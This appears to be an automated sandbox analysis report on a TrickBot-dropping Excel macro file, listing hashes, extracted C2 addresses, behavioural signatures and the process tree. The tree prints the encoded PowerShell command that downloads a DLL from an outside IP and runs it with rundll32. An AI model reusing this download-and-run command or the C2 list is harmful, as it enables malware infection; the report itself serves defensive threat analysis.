Analysis
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max time kernel
132s -
max time network
134s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
21-10-2021 15:12
Static task
static1
Behavioral task
behavioral1
Sample
RNP-00129.xlsm
Resource
win7-en-20210920
General
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Target
RNP-00129.xlsm
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Size
87KB
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MD5
21f5a279cdb8389e79a711ae43a9215a
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SHA1
74516a2bedf8b8aa4551cedba8a62e68209c0068
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SHA256
45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc
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SHA512
59af799f48b406da33005e71941341e4873ee5de0c5aa76eeb1a2465d11a9b8f4ec61209c3dbffe25078bc73b61552c82bbae9c5e3e20789ba227d7783776cde
Malware Config
Extracted
trickbot
100019
rob136
65.152.201.203:443
185.56.175.122:443
46.99.175.217:443
179.189.229.254:443
46.99.175.149:443
181.129.167.82:443
216.166.148.187:443
46.99.188.223:443
128.201.76.252:443
62.99.79.77:443
60.51.47.65:443
24.162.214.166:443
45.36.99.184:443
97.83.40.67:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443
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autorunName:pwgrabbName:pwgrabc
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2328 3056 cmd.exe EXCEL.EXE -
suricata: ET MALWARE Win32/TrickBot CnC Initial Checkin M2
suricata: ET MALWARE Win32/TrickBot CnC Initial Checkin M2
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 39 3876 powershell.exe -
Downloads MZ/PE file
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Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3180 rundll32.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 52 ipinfo.io -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3056 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3876 powershell.exe 3876 powershell.exe 3876 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exewermgr.exedescription pid process Token: SeDebugPrivilege 3876 powershell.exe Token: SeDebugPrivilege 1484 wermgr.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE 3056 EXCEL.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
EXCEL.EXEcmd.exerundll32.exerundll32.exedescription pid process target process PID 3056 wrote to memory of 2328 3056 EXCEL.EXE cmd.exe PID 3056 wrote to memory of 2328 3056 EXCEL.EXE cmd.exe PID 2328 wrote to memory of 3876 2328 cmd.exe powershell.exe PID 2328 wrote to memory of 3876 2328 cmd.exe powershell.exe PID 2328 wrote to memory of 348 2328 cmd.exe rundll32.exe PID 2328 wrote to memory of 348 2328 cmd.exe rundll32.exe PID 348 wrote to memory of 3180 348 rundll32.exe rundll32.exe PID 348 wrote to memory of 3180 348 rundll32.exe rundll32.exe PID 348 wrote to memory of 3180 348 rundll32.exe rundll32.exe PID 3180 wrote to memory of 1480 3180 rundll32.exe cmd.exe PID 3180 wrote to memory of 1480 3180 rundll32.exe cmd.exe PID 3180 wrote to memory of 1480 3180 rundll32.exe cmd.exe PID 3180 wrote to memory of 1484 3180 rundll32.exe wermgr.exe PID 3180 wrote to memory of 1484 3180 rundll32.exe wermgr.exe PID 3180 wrote to memory of 1484 3180 rundll32.exe wermgr.exe PID 3180 wrote to memory of 1484 3180 rundll32.exe wermgr.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00129.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe5⤵
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C:\Windows\system32\wermgr.exeC:\Windows\system32\wermgr.exe5⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\clb.dllMD5
b2adb081746debe3603608911cb5d8fb
SHA1f3a963d739b3cdc8cde256b032762929147ad3fe
SHA2562cf52fe48f274fd7e252eff0092a404a6baf8982d092a6eb9d2f31f6fd7f9f6b
SHA51290edb311914ac0b96097a8897853f1bb50649cc2bdaa8d55ce37464a7aa6ebf850be8efc3fb02e9fdb913169eddb80fff795d68f009cf69ecac406702175ccc2
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\ProgramData\clb.dllMD5
b2adb081746debe3603608911cb5d8fb
SHA1f3a963d739b3cdc8cde256b032762929147ad3fe
SHA2562cf52fe48f274fd7e252eff0092a404a6baf8982d092a6eb9d2f31f6fd7f9f6b
SHA51290edb311914ac0b96097a8897853f1bb50649cc2bdaa8d55ce37464a7aa6ebf850be8efc3fb02e9fdb913169eddb80fff795d68f009cf69ecac406702175ccc2
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memory/348-296-0x0000000000000000-mapping.dmp
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memory/1484-306-0x0000026E19F40000-0x0000026E19F41000-memory.dmpFilesize
4KB
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memory/1484-305-0x0000026E19E30000-0x0000026E19E59000-memory.dmpFilesize
164KB
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memory/1484-304-0x0000000000000000-mapping.dmp
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memory/2328-273-0x0000000000000000-mapping.dmp
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memory/3056-121-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmpFilesize
64KB
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memory/3056-120-0x0000025421E40000-0x0000025421E42000-memory.dmpFilesize
8KB
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memory/3056-129-0x00007FFA68340000-0x00007FFA68350000-memory.dmpFilesize
64KB
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memory/3056-122-0x0000025421E40000-0x0000025421E42000-memory.dmpFilesize
8KB
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memory/3056-116-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmpFilesize
64KB
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memory/3056-117-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmpFilesize
64KB
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memory/3056-118-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmpFilesize
64KB
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memory/3056-128-0x00007FFA68340000-0x00007FFA68350000-memory.dmpFilesize
64KB
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memory/3056-115-0x00007FFA6AF00000-0x00007FFA6AF10000-memory.dmpFilesize
64KB
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memory/3056-119-0x0000025421E40000-0x0000025421E42000-memory.dmpFilesize
8KB
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memory/3180-300-0x0000000004700000-0x0000000004968000-memory.dmpFilesize
2.4MB
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memory/3180-298-0x0000000000000000-mapping.dmp
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memory/3180-301-0x0000000003090000-0x00000000030D5000-memory.dmpFilesize
276KB
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memory/3180-302-0x0000000002F20000-0x0000000002F21000-memory.dmpFilesize
4KB
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memory/3180-303-0x0000000010001000-0x0000000010003000-memory.dmpFilesize
8KB
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memory/3876-294-0x000001DB26DD6000-0x000001DB26DD8000-memory.dmpFilesize
8KB
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memory/3876-290-0x000001DB26DD3000-0x000001DB26DD5000-memory.dmpFilesize
8KB
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memory/3876-289-0x000001DB26DD0000-0x000001DB26DD2000-memory.dmpFilesize
8KB
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memory/3876-274-0x0000000000000000-mapping.dmp